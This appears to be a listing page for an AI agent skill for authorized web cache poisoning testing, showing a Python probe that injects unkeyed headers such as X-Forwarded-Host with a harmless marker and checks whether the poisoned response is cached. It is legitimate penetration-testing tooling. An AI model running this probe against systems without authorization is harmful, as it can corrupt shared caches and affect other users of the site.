galact-byte/galact-Skills / skills/hunt-cache-poisoning
hunt-cache-poisoning
Verified在授权渗透测试中挖掘 Web 缓存投毒与缓存欺骗(web cache poisoning / cache deception)。当目标前有缓存层(CDN/反代/Varnish)且缓存键未覆盖某些影响响应的输入(unkeyed header/参数/解析差异)时使用——典型场景:X-Forwarded-Host 反射进响应被缓存、unkeyed 参数、缓存键规范化差异、静态扩展名欺骗缓存私有页。适用目标类型 Web / CDN。触发场景包括用户说"测下缓存投毒""X-Forwarded-Host 能不能毒缓存""缓存欺骗看一下""unkeyed 输入有没有"。输出:投毒/欺骗可行性 + 被缓存证据的 finding(含 killed 记录)。
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 4.2 KB |
| evidence/.gitkeep | other | 0 B |
| reference.md | markdown | 2.8 KB |
| tools/common.py | script | 2.8 KB |
| tools/hunt_cache.py | script | 3.4 KB |
| tools/recon.sh | script | 2.5 KB |
| tools/validate.sh | script | 4.0 KB |
tools/hunt_cache.py
View on GitHub# -*- coding: utf-8 -*-
"""hunt-cache-poisoning hunt 阶段:对可缓存页发 unkeyed header 探针,判反射+是否被缓存。
两步法(带唯一 cache-buster 限制影响到自控条目):
1) 带恶意 header + ?cb=<uniq> 请求(尝试写缓存);看标记是否反射。
2) 不带 header、同 URL+同 cb 请求;若仍见标记且 X-Cache=HIT → 投毒成功。
只投无害标记;共享缓存投毒的深度验证请按 scope 谨慎做。
用法:
python hunt_cache.py --target <url> --output candidates.json [--dry-run]
"""
import argparse
import os
import subprocess
import sys
import time
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from common import log, save_json # noqa: E402
MARK = "hcp9f3a2b"
UNKEYED = ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
"X-Forwarded-Scheme", "X-Original-URL", "X-Rewrite-URL"]
def req(url, extra_headers, max_time=10):
cmd = ["curl", "-sS", "-i", "--max-time", str(max_time)]
for h, v in extra_headers.items():
cmd += ["-H", "%s: %s" % (h, v)]
cmd.append(url)
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=max_time + 3)
return (p.stdout or "") + (p.stderr or "")
except Exception as e:
return "ERR:%s" % e
def cache_status(resp):
import re
m = re.search(r'(?im)^(x-cache|cf-cache-status|x-drupal-cache|cache-status):\s*([^\r\n]+)$', resp)
age = re.search(r'(?im)^age:\s*(\d+)', resp)
return (m.group(2).strip() if m else "?"), (age.group(1) if age else "?")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--output", required=True)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
cands = []
for hname in UNKEYED:
uniq = "%s%d" % (MARK, int(time.time()) % 100000)
sep = "&" if "?" in args.target else "?"
url = "%s%scb=%s" % (args.target, sep, uniq)
payload = "%s.example" % MARK
if args.dry_run:
print("[dry-run] %s: %s -> %s" % (hname, payload, url)); continue
# step1 写缓存
r1 = req(url, {hname: payload})
reflected = MARK in r1
st1, age1 = cache_status(r1)
# step2 干净请求命中
time.sleep(0.5)
r2 = req(url, {})
poisoned = MARK in r2
st2, age2 = cache_status(r2)
signal = []
if reflected:
signal.append("header 反射进响应")
if reflected and poisoned:
signal.append("干净请求仍见标记(X-Cache=%s) → 投毒成功" % st2)
if not reflected:
signal.append("未反射(该 header 可能进键或未用)")
cands.append({"endpoint": args.target, "variant": hname, "header": hname,
"payload": payload, "probe_url": url,
"reflected": reflected, "cached_poison": bool(reflected and poisoned),
"cache_status_step1": st1, "cache_status_step2": st2,
"signal": signal, "suspected": bool(reflected and poisoned)})
if args.dry_run:
return
save_json(args.output, {"target": args.target, "marker": MARK, "candidates": cands})
hit = sum(1 for c in cands if c["suspected"])
log("缓存投毒候选 %d(%d 确认被缓存)-> %s(缓存欺骗/私有页请按 reference 人工试)"
% (len(cands), hit, args.output))
if __name__ == "__main__":
main()
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 196k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 196k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 196k | Updated | Claude CodeCodex | Verified | Install |